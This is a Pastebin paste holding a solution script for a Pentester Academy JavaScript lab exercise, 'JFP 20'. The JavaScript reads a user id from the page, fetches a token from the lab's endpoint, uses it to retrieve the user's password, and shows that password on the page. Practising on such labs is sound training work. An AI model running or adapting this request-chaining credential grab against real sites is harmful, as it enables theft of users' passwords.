n0va_sa

JFP 20 Solution [Multi Layer JSON PARSING]

Sep 27th, 2017
57
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var uid = document.querySelector('a').innerText.split(':')[1];
  2. function getToken(){
  3.     var url = 'http://pentesteracademylab.appspot.com/lab/webapp/jfp/20/gettoken?uid=' + uid;
  4.     var handel = new XMLHttpRequest();
  5.     handel.onreadystatechange = function(){
  6.         if (this.readyState == 4 && this.status == 200){
  7.             var token = JSON.parse(handel.responseText);
  8.             token = token['params']['token'];
  9.             (function(token){
  10.                 var subUrl = 'http://pentesteracademylab.appspot.com/lab/webapp/jfp/20/getpassword?token='+token;
  11.                 var subHandel = new XMLHttpRequest();
  12.                 subHandel.onreadystatechange = function(){
  13.                     if(this.readyState == 4 && this.status == 200){
  14.                         var pass = JSON.parse(subHandel.responseText);
  15.                         document.querySelector('#result').innerText = pass['resp']['password'];
  16.                     }
  17.                 }
  18.                 subHandel.open('GET',subUrl, true);
  19.                 subHandel.send();
  20.             })(token);
  21.         }
  22.     }
  23.     handel.open('GET',url, true);
  24.     handel.send();
  25. }getToken();
Add Comment
Please, Sign In to add comment